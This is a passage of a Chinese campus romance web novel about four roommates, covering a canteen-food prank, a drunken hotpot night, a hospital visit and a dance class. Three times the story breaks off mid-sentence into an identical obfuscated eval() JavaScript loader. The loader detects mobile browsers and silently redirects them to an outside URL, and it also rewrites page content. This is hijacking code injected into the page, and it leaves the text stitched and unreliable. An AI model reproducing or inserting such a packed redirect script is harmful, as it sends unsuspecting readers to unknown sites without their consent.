“气死我了气死我了!教务处给安排的什么破舍友!”林枫晚骂骂咧咧,“肯定要搞小团体了,阿宁,你不许跟他们玩!” 宁启洄嘴角抽搐,心想,你现在这幼稚行为和小学生有什么本质区别。 安慰了几句处于暴走状态的林枫晚,宁启洄决定请他吃一顿学校的创新菜式窗口——以毒攻毒,转移一下他悲愤的情绪。 据这几天扒拉贴吧的成果来看,二食堂的创新菜式似乎还不错。 直到两人看着今日菜单,脸色一个赛一个的精彩。 ……贴吧害人不浅。 “这个,黏了吧唧的芹菜菠萝山药汁是什么东西?” “为什么草莓会和肥肠混在一起?!” “救命,阿姨怎么又复刻了月饼炒西瓜!” “创新盲盒里塞了一堆孜然橘子烤羊肉,哈哈。” 听到旁边也有同学在吐槽,两人心下稍安。 还好,看来不是他们的问题,是A大食堂过于歹毒了。 两人去了隔壁窗口简单吃了点,准备回寝室。 再次路过创新窗口的时候,林枫晚眼珠一转,笑嘻嘻凑上去买了一份打包带走。 “你疯了?”宁启洄沉默地看着他手里的炸番茄条配土豆泥。 “不啊,给我们新来的舍友一点小小的见面礼。” 宁启洄:“……” 他只觉得,本就残破不堪的舍友情,雪上加霜。 宁启洄叹气,他心里清楚,无非就是江千陵骗了小林子,他心里不好受罢了。 毕竟第一次谈恋爱,还是网恋,居然被骗了。 所以现在,林枫晚连带着对提供照片的岑柏意都不太待见——虽然宁启洄也觉得,岑柏意估计也是跟他一样,莫名其妙被骗了张照片走,毕竟他看上去不像是会专门拍照片给朋友网恋的人。 简单吃了顿饭,回到宿舍,两人还在收拾东西。 在学校待了一年,置办的东西确实越来越多,也越来越不好打理。 林枫晚把晚饭搁在江千陵桌子上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012920|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬起下巴看向他,“吃吧,特地给你打包的。” 江千陵听着他挑衅的语气,有些意外,唇角一勾还没来得及说些什么,打开包装一看,笑容瞬间僵硬。 “……” 来找他借湿纸巾擦桌子的岑柏意不小心瞥到了一眼,被硬控五秒。 两人似乎都回忆起了大一,那个被创新菜式创飞的下午,把两个新生对大学校园生活的美好期待创得稀碎。 江千陵看了眼林枫晚,后者嚣张的神色是压都压不住。 “……” 一只炸毛抓狂的小野猫,他如是评价。 摇摇头,他继续把自己带来的书分类放在书架上。 过了十几分钟,见收拾得差不多了,岑柏意说:“吃饭去。” 江千陵说好,也没人提桌子上那份奇葩菜肴。 宿舍里只剩宁启洄和林枫晚,氛围再度降到冰点。 “可是你也骗了他,小林子。”宁启洄叹气,认真看着林枫晚。 刚来第一天,他不想把关系弄得这么僵。 林枫晚动了动嘴,把眼睛别开。 虽然平时的林枫晚成熟稳重可靠,但这种时候,他有种莫名的执拗和坚持。 换句话说,他对上江千陵,总有种看劈腿负心汉的憎恶。 宁启洄继续道:“不出意外的话,我们还要再相处三年,你准备三年就这样过?” 林枫晚大惊失色:“阿宁,你大四要退学吗?” 宁启洄:“……你是降智了吗?他们俩大二了,还有三年毕业。” 虽然挨了顿骂,但也缓和了此时令人窒息的氛围。 林枫晚抿唇,收起了那份有些凉掉的炸番茄条配土豆泥。 “其实,这算是比较正常的创新菜式了吧,又不是不能吃……”林枫晚小声嘀咕。 宁启洄瞥了他一眼,“你尝尝?” “……”他一时噎住,语气幽幽,忍不住控诉,“阿宁,你胳膊肘往外拐。” 宁启洄:“哦。” “……”半晌,他自知理亏,嗫嚅道,“那、那我给他道歉。” 宁启洄又劝了几句,见林枫晚的情绪确实稳定下来,这才安心开了把游戏。 过了一会,岑柏意和江千陵回来了。 见他们手里拎着打包盒,宁启洄挑眉。 还以为是生气出去找乐子,没想到还真是去买饭了。 在宁启洄的注视下,林枫晚扁扁嘴,给江千陵道了个歉。 江千陵愣了一瞬,随即笑嘻嘻说:“大声点,我没听清。” “我说,对不起!” 林枫晚这狗脾气也上来了,瞪大了眼,气势足得像是要去掐架一样。 江千陵挑眉,还要说点什么,手臂被身旁的岑柏意扯了一下。 行吧行吧,不和心智不成熟的小学弟计较。 “给我们买的晚饭呢?” 等坐回椅子上,看见空空如也的桌面,江千陵忽然笑道。 “?” 看出两人的疑惑,江千陵耐心补充,“那份炸番茄条配土豆泥。” 江千陵的桃花眼眨了眨,冲两人抛了个媚眼,语气做作:“哎呀,真可惜,本来还挺喜欢,想当夜宵的。” 林枫晚:“……” 给你贱的啊。 这个台阶给的很好,宁启洄顺着杆子就往下爬。 “没事,下次再给你带。” 江千陵:“……” 10. 醉酒 为了庆祝310的男人们重归于好,他们决定周日晚上出去吃饭。 原本的计划是两位310土著一起请客吃顿饭,但是,由于宁少爷最近实在是穷得厉害,所以不得不在某团的团购上精挑细选,找了个离得近价格不太高但据说味道不错的饭店。 由于几人口味不同,忌口也不一样,刚见面也不太了解,宁启洄手一挥,当即拍板——去吃火锅。 火锅好啊,什么菜都能吃点,品种又多,还热闹。 在几人取号等待等了半个多小时之前,大家都是这么觉得的。 “既然如此,我们来开黑吧。”林枫晚兴致冲冲地打开手机,但在场并没有人鸟他。 岑柏意手机里根本就没有游戏,宁启洄也只玩小游戏和植物大战僵尸。 江千陵倒是玩,他也打开手机,似笑非笑看了眼林枫晚,后者脸上一下失去颜色。 不,他不可。 之前和这家伙就是打游戏匹配到的,然后就交换联系方式和照片,开始了一场短暂且激烈的网恋。 然后就面基死了。 “玩吗?” 江千陵指尖悬停在开始游戏的按钮上,挑眉,冲林枫晚眨了眨那双好看的桃花眼。 “……玩。” 说好的舍友情,不能让阿宁生气。 林枫晚这样在心里安慰着自己,很丝滑地进了游戏,把江千陵加了回来。 江千陵意味不明地笑了笑。 宁启洄和岑柏意坐在旁边下五子棋——考虑到等候时间过长,这家火锅店很人性化地在等候区摆了一些娱乐的小物件。 下着下着,旁边等候的人也开始闲聊。 “诶,我家新买了个按摩浴缸,泡澡特别舒服!” “哎我也想换个浴缸,可惜我老妈不同意。” “想一想,一个人的夜晚,关了灯,泡在满是花瓣的浴缸里,开瓶小红酒,美滋滋。” “你是不是傻,点蜡烛啊,多有氛围!” 卧槽!浴缸!蜡烛! 聊这么刺激的吗?! 宁启洄手一抖,棋盘上的白子黑子都被混在一起,错了位。 “第一次见这种‘毁’棋手段。”岑柏意赞叹道。 宁启洄默然,“要不回个档?” 岑柏意:“回到‘棋’初的地方?” “……”谐音梗扣钱啊。 虽然这个三维游戏并不能存档回档,但不代表你就可以这样阴阳怪气。 在林枫晚骂骂咧咧举报完除了他和江千陵以外的所有人之后,终于叫到他们的号了。 宁启洄觑着林枫晚的神色,觉得如果不是他俩组队的话,他可能会把江千陵也一起举报了。 火锅店里人满为患,进去就能闻到很浓重的香味。 因为是团购买的套餐,宁启洄验了券,拿到一张账单。 “不够可以再点。”他说。 “毛肚,千层肚,牛肉……”江千陵照着账单轻声念。 “不来点酒?”江千陵挑眉。 林枫晚看了宁启洄一眼,“阿宁还没成年,不建议——” “喝!”宁启洄飞速勾了好几瓶啤酒才收手。 林枫晚把剩下的话咽进去,喝就喝吧。 宁启洄买的是六人餐,四个人吃是妥妥够的,套餐里的菜品也不错,除了酒就没有额外加其他的菜了。 吃得差不多了,几人瘫在椅子上哐哐灌酒。 林枫晚酒量还行,这会也有点上头了,他按住已经喝了好几杯的宁启洄,“阿宁你醉了。” 宁启洄回头,脸蛋红扑扑的,缓慢开口:“我没醉。” 林枫晚耐心,“醉鬼都说自己没醉。” “我没醉!”说着,宁启洄拿起没开瓶的啤酒,就要冲上去跟酒量特好一点不上头的江千陵拼酒。 林枫晚急忙拦下,“好好好没醉,我醉了,你送我回去吧。” 宁启洄反应慢了一拍,把啤酒放回原地,呆呆点头,“好。” 林枫晚扶着宁启洄起身,招呼了一下只喝了几杯酒看着也没醉的岑柏意,“走了。” 岑柏意看着两人的互动,笑了一下。 江千陵忽然眨眨眼,清醒的眼睛开始朦胧,踉跄几步往前倒,林枫晚眼疾手快扶住他。 “不是,不能喝你灌这么多?”林枫晚手忙脚乱的,右臂揽着宁启洄,左手扶住江千陵。 岑柏意还在奇怪,蓦地对上江千陵清醒的眼神,他冲他眨了眨眼,意义不明。 “?” 岑柏意看了看他,又看了看一脸薄红的林枫晚,只当他是想重燃旧情——虽然这个旧情是建立在他和他所谓的系草小男友的照片基础上。 对视几秒,在林枫晚扭头看过来的前一秒,江千陵又开始视线朦胧涣散,俨然一个醉鬼的模样。 真能装。 “岑哥,我这么叫你可以不?”这是林枫晚第一次称呼岑柏意,是学着江千陵怎么叫的。 岑柏意颔首。 “岑哥,他俩都醉了,我拖不动,要不——” 岑柏意从善如流接过宁启洄,稳稳扶住。 林枫晚默默闭上嘴,把未尽的“你把江老狗带走”吞回肚子里。 行叭,求人帮忙,要求别那么多。 不过……大哥你长这么高,是不是该责任也越大一点?有没有想过比他高一点的江老狗他根本拖不动啊! 最后,林枫晚费老大劲搀着眼神清明但脚步依旧虚浮以至于直接挂在他身上的江千陵,他们越来越落后,几乎看不见走在前面的两人的身影。 “嘿嘿,兄弟你真好看。”彼时,宁启洄忽然侧过脸,看着岑柏意,痴痴笑了几声。 他是在场唯一一个真醉的,现在脑子是真的不太清醒了。 岑柏意脚步没停,只是眼里浮起笑意,“有多好看?” 他觉得,可能是自己也喝了一些酒有点醉了,大脑思考也有些迟钝,居然会问出这种话。 但很意外的,没有感到讨厌。 宁启洄认真想了想,又盯着岑柏意的脸看了几秒,直到岑柏意的耳根烧起来,他才缓缓开口:“最最最好看了!” “你最好看了!” 宁启洄扒拉着岑柏意不放手,后者被扯得一个趔趄,下意识扶住宁启洄的腰。 隔着衣服都能感受到那段劲瘦纤细的腰,因为住院缺乏锻炼的缘故,摸起来不太有肌肉,但手感异常的好,软软乎乎的。 岑柏意没控制住,大手握住捏了一把,怀中人被激得一个战栗,嘴里发出无意识的哼唧,双眸含水瞪着他。 岑柏意也见过宁启洄这副模样,在舞蹈课上,不过上次是痛得,他有些无措,这次确实被他使坏给捏得,心情却意外的不错。 就这么半搂着走了一会,迷迷糊糊的宁启洄记忆错乱,脑子里还是那天晚上刷的贴吧和同人文,于是再次扭头,“哎?你长得好像我男朋友哦。” 岑柏意搂着他的手一僵,脚步也慢了下来,“什么男朋友?” 宁启洄歪头想了想,咯咯笑道:“你不看贴吧吗?out了兄弟,我和我男朋友的CP火爆全网!” 岑柏意:“……”倒也不至于,只是爆红A大。 “我男朋友可好看了。”宁启洄嘟囔着,从手机里掏出手机,熟练地翻出贴吧CP贴给他看,“看,就说可好看了!” 语气满是炫耀。 岑柏意没看,在痛击江千陵的那个晚上,他已经完完整整看过一遍了,后续新加的回复和跟帖,左不过是新的粮,他就没再关注过了。 “那我和你男朋友谁好看?”岑柏意故意问道。 他不知道自己为什么会这么问,但他就是问出口了。 夜已深,周围灯光璀璨,摇曳在茂密的树叶间。 宁启洄怔怔地看着岑柏意,从他的眸子里看见了万千星辰。 他像是被蛊惑了一般,喃喃道:“你好看。” 但很快,又回过神来,秉持着对男朋友的忠贞和信任,悄咪咪补充:“不过我男朋友也很好看。” 说着,把手机往他身前怼了怼,岑柏意的照片就在手机屏幕的正中央。 岑柏意忍不住笑了几声,见宁启洄恼怒地鼓起脸颊,便伸手戳了戳,手感异常软乎,和他此时的状态一样。 “你看呀!”宁启洄抿唇,极力推销自己的男朋友。 “好,我看看。”岑柏意掩下笑意,就着他的手机看了看,突然瞥到一个有些可疑的东西。 历史记录: 【#川鸿三栋 火灾#】 【#校草和系草的CP同人贴#(跟帖)】 “……?” 看时间,大概是他们搬进310的前一天晚上看的。 虽然岑柏意不看这些,但同人文是什么他还是很清楚的。 他的表情有些一言难尽,不知道是对他们居然有CP同人贴这件事语塞,还是感叹他的小男朋友已经能面不改色(其实是心惊肉跳小脸通黄)地翻看他们的同人贴了。 盯着宁启洄薄红的脸颊看了一会,马上要进校门了,为了不给贴吧里的磕学家们创造机会,岑柏意只能遗憾地松了松手,规规矩矩扶着宁启洄,只是指尖依旧时不时掠过宁启洄的腰间,带起酥酥麻麻的痒感。 林枫晚注意着地面没关注前面的情况,江千陵眼神好得很,仗着比林枫晚高点看完了全程,当注意到两人的身影纠缠在一起的时候,他险些没崩住乐出声。 岑哥,稳住啊,给你创造的机会你得把握! 丝毫没想起贴吧的那场风暴是他和身边的人引起的,他甚至开小号磕上了。 回到宿舍,简单洗漱一番便睡觉了。 直到躺在床上打开贴吧,林枫晚突然皱眉,回过味来。 不对啊,什么叫求人帮忙,江千陵是岑柏意的朋友又不是他的,他管他死活呢! 大半夜给自己气着了,林枫晚再次上游戏把江千陵拉黑。 —— 凌晨一两点,山海七栋310寝室的一号床传来咚咚咚的声音。 宁启洄快步从楼梯上爬下来,冲到阳台上,对着洗漱池就是一顿吐,吐得天昏地暗,两眼直冒金星。 还在偷摸看不可描述的马赛克漫画的林枫晚吓了一跳,一下就蹦到床底下,快步走出去。 准备睡了的岑柏意和在把妹的江千陵蓦地对视一眼,他们的遮光帘还没搭起来,现在处于一个半裸露状态。 空调直吹,果然很冷。 过了几分钟,林枫晚扶着有些吐到有些虚脱的宁启洄从阳台进来,推门出去。 “阿宁不太舒服,我带他去医院,你们继续睡吧。” 林枫晚招呼一声,拿了外套急匆匆往外走。 A大地理位置极好,周围也有不少大型医院。 林枫晚打了个车,一路上不断催促司机快点。 半夜想拉客赚点外快的司机喝了点红牛,此刻有点上头,油门一踩就是干,直接飙到最高迈。 得亏这个时间段交警少,不然肯定要被抓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012921|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分钟就到了医院,林枫晚背着宁启洄就往医院走。 被颠得有些难受的宁启洄压抑住想吐的欲望,艰难开口:“我只是肚子痛,腿还没断。” 林枫晚坚持道:“不行,牵一发而动全身,万一你肚子痛是脑血栓引发的,那还是少动点比较好。” 宁启洄:“……滚吧。”能不能说点好话。 见宁启洄还有力气骂他,林枫晚笑了一下,脚步加快朝急诊走去。 大半夜,很多检查项目都关闭了,急诊医生根据病症大概判断了一下,给宁启洄开了一剂止痛针,又给他吊了水。 林枫晚陪着坐在他边上。 夜已深,已经约莫凌晨三点了,山海七栋310寝室却依旧不太平静。 江千陵翘着二郎腿在床上玩手机,瞥见一旁的岑柏意也睁着眼,显然是没睡着。 他意义不明轻笑一声,问道:“岑哥,真不问下什么情况?” 岑柏意抿唇,说知道了。 他打开手机,莹白的光照出此刻有些犹豫的脸庞。 半晌,他还是抬手敲字。 【岑柏意】:怎么样了? 舞蹈课建了个企鹅群,岑柏意找到宁启洄的账号,私发过去一条消息。 过了大概十分钟,宁启洄的消息才传过来。 【宁启洄】:没什么大问题,中午回来。 【岑柏意】:好。 宁启洄没再说什么,倒是发了个微信二维码名片过来。 【宁启洄】:加微信吧,建个寝室群。 岑柏意扫了二维码,弹出来一个可爱的炸毛白团子头像,简单的线条,看着肉嘟嘟的。 倒是和主人一样,说两句就炸毛的样子,岑柏意想。 添加好友成功,岑柏意又把江千陵给他推过去。 没过多久,一个新出炉的微信群就建好了。 宁启洄虚弱地坐在椅子上等医生开药,他看着【精血310】几个大字,有点沉默。 “非要用这个名字吗?” 刚把手机抢过去硬要给取个不同寻常的群名的林枫晚摸摸鼻子,理不直气也壮,“是啊,听着就精神,多好。” 见宁启洄不说话,只是看着他,林枫晚眨眨眼睛试图卖萌,“反正苏姨和胡女士肯定是会喜欢的,积极向上有热血,这是一群阳光开朗男大该有的群名。” 宁启洄:“……行吧。” 都把两位妈妈搬出来了,他还能说什么。 这边,寝室里的两人也微微沉默,显然是都回想起了那天晚上那条炫光五彩的炸裂横幅。 江千陵:“岑哥,你小男朋友的爱好,还挺……挺独特哈。” 他试图用一个不太贬义的词来形容。 在岑柏意从登山社社员口中得知他有个“男朋友”,当天晚上,江千陵被按着捶了一顿。 是真的捶,被拉去拳击馆狠狠挨揍,然后又鼻青脸肿地被拖去上药——当时,他们在川鸿三栋的舍友吓了一跳,委婉关怀他是不是惹上事了。 现在,江千陵就是要狠狠调侃岑柏意,他知道挨过的揍不会再挨一遍了。 已经无力反驳江千陵的调侃,岑柏意一时语塞,尽力给病患找补两句,“也有可能,是林枫晚干的。” 江千陵:“……” 有什么区别吗,他们都是我们要处三年的舍友。 噢!这糟糕的审美。 “要不明天的课请假吧,不用仪器检查一下我不放心。”林枫晚看着宁启洄虚弱的脸,皱起眉道。 宁启洄轻轻点头,“你回去休息吧,我吊完水睡会。” 林枫晚有些担忧,一步三回头的。 宁启洄被逗得一乐,“得了,快走,我又不是小孩子了。” 林枫晚想了想,正色道:“阿宁,准确的说,你下个月才满十八岁。” 宁启洄:“……快点滚。” 贱了一句,林枫晚脸上终于露出一个笑。 他去附近的商店买了条厚毯子给宁启洄盖,这才离开。 宁启洄能请假,他可不行,他还得当面给老师解释为什么宁启洄没在。 任重而道远。 没多久,宁启洄收到一条微信消息。 【二月花】:阿宁宝宝不要太害怕哟~(海豹打滚.jpg) 【岁岁平安】:滚滚滚。 一天天的,没一句好话。 宁启洄盯着自己的微信名看了一会,觉得岁岁今年可能犯太岁,看着不太平安的样子。 喝了酒还是有点头痛,闭着眼睛眯了一会,宁启洄给辅导员发了消息,表明自己上午的课没办法上的原因,准备课后去补假条。 天亮了,宁启洄瘸着一条腿去做检查,在拐角处被人撞了一下,双双跌倒在地。 在两声“啊——”中,宁启洄一时不知道是谁撞的谁。 对面两位都穿着校服,看校徽是附近一所重点中学的,有点眼熟,好像是那台“学习机器”的母校,只不过应该是初中部的,两人看着年纪都不大。 旁边扶着倒地男生的另一个男生有些不好意思地冲他道歉,“抱歉抱歉,我们没注意,他腿骨折了我得带他去看医生。” 宁启洄的视线一下落在另一个男生身上,准确地说是落在他腿上,确实有一条的姿势和另一条不太一样。 他想起自己也同样命运多舛的腿,默了默,点头说没什么,好心给他们说骨科在三楼。 “什么?!”跑错楼层的骨折男生再次发出惨叫。 11. 香水 等宁启洄回学校,已经是下午一点多的事情了。 他急急忙忙收拾了书包往教学楼去,踩着铃声进了教室。 林枫晚提前收到了他的消息,给他占了个座,这会招了招手,示意他快过来。 台上的老师看过来,目光和蔼,“这位同学是有什么想说的?” 林枫晚嗖地缩回手。 这节课的老师凶得很,他可不敢惹。 等宁启洄悄悄摸过来入座后,林枫晚小声问:“检查了吗,情况怎么了?” 宁启洄:“没什么大问题,就是脾胃有点虚弱,昨晚吃太杂了。” 林枫晚点头,又戳他,“听讲听讲,刚老师看你了。” “……喔。” —— 第二天得了空,宁启洄去学院楼找辅导员拿了请假条。 辅导员庄悦是个很年轻的女人,看着二十多岁,打扮也很青春靓丽。 她坐在办公椅里,忧心忡忡地看着宁启洄,“启洄对吗,我可以这么叫你吗?” 见宁启洄点头,她继续说:“你是不是身体不太好啊,又是骨折又是肚子痛,平时得多注意啊……” 巴拉巴拉讲了一大通,宁启洄听得眼冒金星,但知道这是关心她,好歹是听完了。 见时间差不多了,庄悦让他先走。 “哦对了。”她想起什么,把走到门口的宁启洄叫了回来,“我等会有个会要开,你能去找一下大二的岑柏意同学吗,他们导员现在有点忙,好像是家里有什么事情找他。” 宁启洄缓慢眨眼:和他有什么关系? “我记得他是你舍友,山海七栋310的。”庄悦补充道,“估计在上课没看手机,打到辅导员手机上去了。” 宁启洄深吸一口气,“他在哪里?” “一教1325。” 宁启洄叹气,任劳任怨当牛马去传消息。 到了1325,正好是课间休息时间。 1325属于比较中段的位置,教室比较密集,这个时间上课的人也多,此刻走廊上来来往往去上厕所的不少。 宁启洄做了下心理准备,刚要往前迈,就听见旁边有人在小声讨论: “啊啊啊好帅啊这个学弟!” “别惦记了,指路贴吧Top1热帖不用谢。” “你不知道?就大二计算机一班的岑学神,他小男朋友。” “这贴吧,我靠这么多粮,吃这么好?” 宁启洄缓缓吐出一口浊气,吃得好不好他不知道,他是快气饱了。 正巧,1325教室里出来一个人,宁启洄伸手拦住,“同学不好意思,打扰一下,能帮我叫个人吗?” “你叫谁?”被拦住的同学看了眼宁启洄,还挺好看,语气莫名柔和下来。 “我靠,岑学神他小男朋友也太可了!这脸蛋这腰!” “是吧是吧,我也想要这样的男朋友,可惜了。” 声音渐渐走远,但宁启洄还是听得一股火。 “同学?” 见宁启洄沉默,同学再次出声。 教室里人不多,原本都在安静刷手机,只有少数在小声聊天或者分享零食。 “叫我男朋友出来!”宁启洄被搞得有些恼火。 顿时,全场寂静,教室里安静极了,目光齐刷刷看向这边。 “……” 不,你们听我解释。 坐在岑柏意旁边的男生戳了戳他,小声问:“哎,这真是你男朋友啊?” 岑柏意似乎想起了什么,莫名笑了一下。 他看向门口,下一秒,长腿一迈走了过来。 宁启洄显然已经忘记了昨晚醉酒缠着人家的事情,绝望闭眼,“你出来干嘛?” 这不就间接承认了吗! 岑柏意奇怪地看了他一眼,“不是你叫我?” “……”解释不清楚了。 不过,这一打岔,宁启洄记起来他来干嘛了。 “你们导员找你,说是家里有点事情。” 岑柏意点头,按开手机,果然看到几个未接电话。 岑柏意回拨了回去,见没事了,宁启洄悄然离开。 宁启洄估摸着可能是家里的事情,岑柏意从教学楼回寝室后,收拾了点东西,径直出去了,到晚上也没回来,只在【精血310】里发了句“明天回”。 晚上大家都没课,江千陵又开始想念微醺的感觉,买了一堆酒回来自己调,享受微醺的快乐。 他瞥了眼一旁的宁启洄,叹气:“可惜了,岑哥不在,你又是个不能喝的。” 语气里满是莫名的意味,听得宁启洄鸡皮疙瘩都起来了,不知道的还以为醉酒干了什么伤天害理的事情。 说着,江千陵给自己猛灌一口威士忌。 “咳咳咳!” 江千陵猛地咳嗽几声,脸涨得通红。 一旁的林枫晚舒服了,嘲笑道:“菜鸡。” 也不知道昨晚是谁醉成那样还得靠他拖回来。 有些上头但坚信自己能行的林枫晚如是想。 “你行你来!” “来就来,who怕who!” 说着,两人就开始拼酒。 宁启洄:“……”错觉吗,好像看见了江千陵隐约露出的一丝笑意。 他摇摇头,去热中药。 今早做完检查,医生给他介绍了一个靠谱的老中医,开的中药调理身体,已经熬成药汁了,他隔着袋子泡泡热水喝就行。 不知道过了多久,宁启洄叼着中药袋子,全神贯注在网上找兼职。 是的没错,我们宁大少爷彻底没钱了,在一次性给饭卡冲了五百,又请客吃了饭买了中药之后,不幸宣告破产。 苏女士很不幸地表示,宁先生发现了她的援手,表示再给他偷摸接济,疼老婆的宁先生就自己绝食。 这威胁,就很窝囊。 为了老公的身心健康,只能委屈委屈儿子了。 林枫晚举着调好的酒,给宁启洄的中药袋子碰了个杯,大着舌头说:“你这酒颜色还挺别致,我尝尝?” 宁启洄不想理这醉鬼,“喝醉了就滚去睡觉。” “怎么可能,我才喝、喝了多少!”林枫晚反驳。 宁启洄默默扭头,看向桌子上几个已经空了的伏特加酒瓶,还有数不清的酒饮料果汁等等。 他对上江千陵清醒但心虚的视线,默然,起身把林枫晚甩到床上。 “联邦万岁!” 在发出最后一声不知道为谁的呐喊之后,林枫晚终于消停了。 “你们联邦已经解体了。”宁启洄冷笑。 江千陵默默收拾着酒瓶子,试图解释,“我不知道他酒量这么差。” 宁启洄:“……”点我呢? 虽然他不记得昨晚喝完酒发生了什么,但是宁启洄隐约记得是岑柏意把他扶了回来,扼杀了他睡大街的可怜后果。 扔完酒瓶子回来,江千陵无意间瞥见宁启洄找兼职的界面,顿了顿,说:“在找兼职?” 宁启洄点头,“嗯。” 江千陵:“……”不至于吧,难道上次在悦江肆吃的饭是花呗借的? 默了默,乐于助人(划掉,心虚不已)的江千陵同志决定对舍友伸出援手。 “要不,我帮你看看?” 宁启洄可耻地心动了。 在网上翻了大半天,竟然没找到一个适合他的兼职。 钱多的时间长,他这学期课还不少,时间自由的又不够他一天的饭钱。 “你好像没成年。”江千陵摸着下巴,思考了一会,突然想起昨天劝酒时林枫晚说的话。 “……歧视?” “不是,你这算童工。” “……”找兼职算个屁的童工。 宁启洄臭着脸,觉得今天是和这两位新舍友犯冲。 江千陵拉了个凳子来,认真分析:“你现在很缺钱吗,还是可以再等等,我觉得投资理个财就很不错。” 宁启洄默了默,轻声道:“我要是有理财的‘财’,那我缺什么钱?” “……”也是。 没遇到过这么缺钱的,江千陵沉默了一会。 “这样,有以下几种方案,第一,我记得学校这周末就有跳蚤市场,你可以盘点二手货去卖,就是价格可能比原本的要低不少,但可以应急,第二,你可以去代课,高收益高回报,但是高风险,容易被抓到,抓到要挨个处分,第三,我们来玩牌吧。” “?” 宁启洄抬眼,“打牌我不会输吗?”而且,他连启动资金都没有。 “……”实不相瞒,事在人为。 但这话,江千陵还是没说出口。 “那你可以试试第一套方案,反正就这周末的时间,周六周日两天,你看有没有什么兴趣爱好,可以卖的。”江千陵建议。 宁启洄拧眉想了想,“集邮算吗?” 江千陵张了张嘴,“……算。”但不一定能卖出去。 不是,你是有什么想不开的,去大学的跳蚤市场卖邮票?钱多烧得慌吗? 见宁启洄兴致勃勃的模样,他还是没打击人。 —— 第二天早上岑柏意就回来了,还准时上了早课。 宁启洄倒是没问什么,一个是没那么熟,一个是,如果问了,他会控制不住地想起他的昨天丢人经历,现在已经在贴吧传开了,说系草小男友来班上找他的学神对象,言语很是亲昵。 林枫晚把这条帖子怼他脸上,然后被宁启洄毫不客气地踢了一脚。 但江千陵显然是没这样的顾虑了,他戳了戳岑柏意,好奇道:“咋了,夏阿姨叫你回家?” 岑柏意垂眸,“嗯。” “你弟弟惹事了?”江千陵了然。 岑柏意家里只有他妈妈和他弟弟,他爸常年在国外,难得回来一次。 岑柏意垂在身侧的手微微握起,青筋微微凸起,似乎想打人,“挨批了不想上学。” 宁启洄张着嘴,送进去的汤圆没接稳,又掉进了碗里,咕咚一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012922|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余光里瞥见岑柏意似乎朝这边看了一眼,当他定眼看过去,好像又没什么。 倒是躺床上进游戏厮杀的林枫晚好奇探头,“学神弟弟居然会挨批?” 江千陵觑着岑柏意的脸色,见人一脸淡定地敲代码,便继续道:“嗐,他弟弟可皮了,就前两天,跟人去爬树把腿摔了,去医院看腿,你说这是不是自找的。” 说完,寝室里一静,都不约而同地看向宁启洄那条伤腿。 宁启洄:“……” 可以了,视线不需要这样灼热。 他只觉得,这些天,骨折的人真是分外多。 林枫晚好奇问道:“多大了?初中吧,这个年纪小孩最叛逆了。” “初一吧,确实叛逆。”江千陵难得赞同道。 “咋解决的?” “我们岑哥的血脉压迫。” “……” “揍一顿就好了。”江千陵耐心解释。 —— 星期五,又到了万众瞩目的舞蹈课。 宁启洄深吸一口气,毅然决然走向艺术楼。 原本是要杵着拐杖来的,本着能逃一次表演是一次表演的念头,但就在前两天,他完全把这事给忘了,直不楞登就把拐杖给还了回去。 现在好了,独立行走。 不过腿确实好得差不多了,除了不能跑跑跳跳的,正常行走没问题。 “你为啥不退了这课?”打算这周再送送的林枫晚跟在他身边,问道。 宁启洄:“我也想,可其他通识课没人退,我没得选。” 这次到教室比较早,也可能是因为宁启洄走得快,教室里只坐了一半的人,宁启洄居然抢到了靠后排的位置。 为了防止上次的尴尬事件发生,宁启洄谨慎地选择了靠里侧的三人座,并且坐在最里面,留了外边两个位置给其他同学选。 过了三分钟,五分钟…… 还是没人来坐,宁启洄在心里安慰自己,反正教室要坐满,不慌,他们这排肯定能坐满三个人。 依旧是熟悉的上课铃,依旧是熟悉的踩点到。 岑柏意在门口往教室里看了一眼,一下就看见唯一空旷的位置。 “……” 他还是坐了过去。 坐在了中间的位置,靠近宁启洄。 宁启洄压低声音。“你为什么不坐那边?” 说着,用眼神瞟了一眼这一排最外面的椅子。 “……那个椅子是坏的。” 注意到这边空了个人,孟柔柔想了想,笑道:“今天有个同学请假了。” 宁启洄:“……”还真是巧啊。 第二周了,关于发展历史和基本礼仪都已经教完了,孟柔柔这节课放了几个基础的方形步教程视频,然后她跟着视频分别示范了男步和女步。 然后,第二小节课,就到了激动人心的展示环节。 和其他同学一样,宁启洄默默低头,在心里祈祷孟柔柔看不到自己。 然而,事与愿违,孟柔柔随机抽签,大屏幕迅速滚动,最后停在了那个炸毛白团子头像上。 身侧传来灼热的视线,再然后,周围的视线都集聚在他身上,宁启洄默默闭眼,已经猜到了结局。 